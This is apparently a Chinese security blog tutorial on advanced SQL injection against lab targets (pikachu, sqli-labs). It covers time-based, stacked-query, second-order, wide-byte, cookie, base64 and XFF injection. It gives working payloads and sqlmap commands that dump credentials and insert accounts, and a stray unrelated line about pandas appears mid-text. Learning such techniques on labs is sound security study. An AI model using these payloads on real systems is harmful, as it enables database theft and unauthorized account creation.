SQL注入【进阶】



前言


承接上一篇SQL初级篇,进行SQL注入的进阶学习。欢迎伙伴们多多交流,多多补充哈~

一、时间注入

时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧。在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是 数据库延时 10 秒返回内容。判断注入可以使用’and sleep(10) 数据库延时 10 秒返回值 网页响应时间至少要 10 秒 根据这个原理来判断存在 SQL 时间注入。

常用到的函数sleep(),if(),substring()

select if(2>1,sleep(10),0) 2>1 这个部分就是你注入要构造的 SQL 语句。
select if(length(database())>1,sleep(5),0) 这个就是查询当前库大于 1 就会延时 5 秒执行。
-1’ or if(length(database())>1,sleep(5),0)–+ 可以看到网页是大于五秒返回。根据这个原理 n>1 n 不延时就能确定当前数据库的长度了。

在黑盒模式下可以使用 sqlmap 对注入检测。sqlmap 支持多种数据库注入,而且支持多种注入方式。
采用时间注入:

python sqlmap.py -u "http://192.168.2.213/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2"   --technique=T  -v 1 --dbms=mysql   --batch

在这里插入图片描述

-u 表示检测的 url
-v 显示调试模式
–technique=T 检测方法为时间注入
–current-user 获取用户
–current-db 当前库
–batch 使用默认模式 自动 y

获取表
-D 指定数据库 --tables 获取表

python sqlmap.py -u "http://192.168.2.213/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --tables -D pikachu --batch

在这里插入图片描述

获取字段
在 sqlmap --columns 获取字典 -T 某个表

python sqlmap.py -u "http://192.168.2.213/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --columns -T users -D pikachu --batch

在这里插入图片描述

查询账号和密码

`python sqlmap.py -u "http://192.168.2.213/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --dump -C "id,username,password" -T users -D` pikachu --batch

–dump 导出数据
-C 指定查询的字段
-p 指定的检测参数
在这里插入图片描述

示例:pandas 是基于NumPy 的一种工具,该工具是为了解决数据分析任务而创建的。

二、堆叠注入

堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。在 mysql 里 mysqli_multi_query 和 mysql_multi_query这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。但是堆叠查询只能返回第一条查询信息,不返回后面的信息。
下面采用sqli-labs-master靶场进行演示【less-38】

2.1.获取表信息:

-999' union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+

在这里插入图片描述

2.2.获取字段信息:

-999' union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='users' limit 1)--+

在这里插入图片描述

2.3.准备插入新的字段:

知道表的列的情况下使用 insert into 插入语句进行增加账号。如果是管理表直接添加管理员账号即可登录后台。
payload:
?id=-999';insert into users values(666,'kakayyds','123456')--+
payload:
?id=-999';insert into users(id,username,password)values(1000,'moonsec','123456')--+
访问 666/1000 即可访问到刚刚添加的账号
在这里插入图片描述

payload:
?id=-999’;insert into users values(222,(select @@version_compile_os),‘123456’)–+
通过该方式也可以对信息进行读取

在这里插入图片描述

三、二次注入

在这里插入图片描述先确定测试的网站是否进行过滤,一般情况下网站都会对输入的参数进行过滤,然后寻找可能会带入恶意数据二次使用的地方。例如用户注册->修改密码邮箱注册->修改密码 文章添加->文章编辑。找一切存在二次使用的功能点。二次注入测试 SQL 注入,二次注入多数是字符型注入,所以要注意闭合问题。现在注册用户 a’ 再分别注册用户 a’ and 1=1# a’ and 1=2# 再来可能触发的地方
Less-24练习
在这里插入图片描述
在这里插入图片描述创建俩用户,然后登录a’#这个用户,对其密码进行修改操作,更改为456789,之后点击更新密码。

在这里插入图片描述再次回到数据库对数据进行查询,发现a’#的密码没有变化,反而a的密码发生了变化。【这就是二次注入】

在这里插入图片描述
从代码层面分析:
在这里插入图片描述这个update函数执行的时候,没有任何防护,转义措施,导致了a’#造成注释,如下:
正常情况:UPDATE users SET PASSWORD=‘456789’ where username=‘a’ and password=‘123456’
二次注入:UPDATE users SET PASSWORD=‘456789’ where username=‘a’#’ and password=‘123456’
二次注入最后标记处直接被#过滤导致用户a’#变成了a用户。同理可对admin用户进行二次注入的密码修改操作。

四、宽字节注入

宽字节注入,在 SQL 进行防注入的时候,一般会开启 gpc,过滤特殊字符。一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不对,也可以导致 SQL 防注入绕过,达到注入的目的。如果数据库设置宽字节字符集 gbk 会导致宽字节注入,从而逃逸 gpc转义
前提条件:
简单理解:数据库编码与 PHP 编码设置为不同的两个编码那么就有可能产生宽字节注入
Big5 和 GBK 字符集都是有的, UTF-8 和 GB2312 没有这种字符(也就不存在宽字节注入)

4.1.宽字节注入代码分析

gpc 绕过过程:
%df%27=经过(addslashes)添加【\】进行转义=>%df%5c%27(%5c是URL编码后的\)=(数据库 GBK)=>運’(%df%5c合在一起生成了"運")
sqli-labs-master中less-32案例:
1.开启gpc或者addslashes
2.数据库编码为gbk
即可能存在宽字节注入
在这里插入图片描述

4.2.黑盒环境下的宽字节注入

宽字节检测较为简单 输入%df%27 检测即可或者使用配合 union 检测即可
PoC:%df' union select 1,2,3--+
在这里插入图片描述后面读取数据库数据的方式就和之前一样了。

五、Cookie注入

COOKIE 注入与 GET、POST 注入区别不大,只是传递的方式不一样。GET 再url 传递参数、POST 在 POST 正文传递参数和值,COOKIE 在 cookie 头传值。在 burpsuite 显示 传递的方式。
PoC:Cookie: uname=admin' and 1=1#

在这里插入图片描述在这里插入图片描述
Payload:Cookie: uname=admisdfn' union select 1,user(),3#

在这里插入图片描述后续思路跟之前一致。

六、base64编码注入

在 php 中 base64_encode()函数对字符串进行 base64 编码,既然可以编码也可以进行解码,base64_decode()这个函数对 base64 进行解码。
编码解码流程:
1–>base64 编码–>“MQ==”–>base64 解密–>1
观察网站是否存在 base64 编码的数据,例如传递的 id 的值,搜索模块。如果存在类似==等,可以用 base64 解码进行测试。

在这里插入图片描述存在 mysqli_error 函数所以可以里利用报错注入再进一步获取敏感信息。admin’)and (updatexml(1,concat(0x7e,(select user()),0x7e),1))– (前面有个空格!)进行 base64 编码是YWRtaW4nKWFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VyKCkpLDB4N2UpLDEpKS0tICA=提交获取敏感信息。

在这里插入图片描述

七、xff注入攻击

X-Forwarded-For 简称 XFF 头,它代表了客户端的真实 IP,通过修改他的值就可以伪造客户端 IP。XFF 并不受 gpc 影响,而且开发人员很容易忽略这个 XFF 头,不会对 XFF 头进行过滤。

总结

进阶篇主要聊了聊七种类型的注入方式,多练习练习,加深印象。还是那句话,大家有其他的也可以补充哈~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值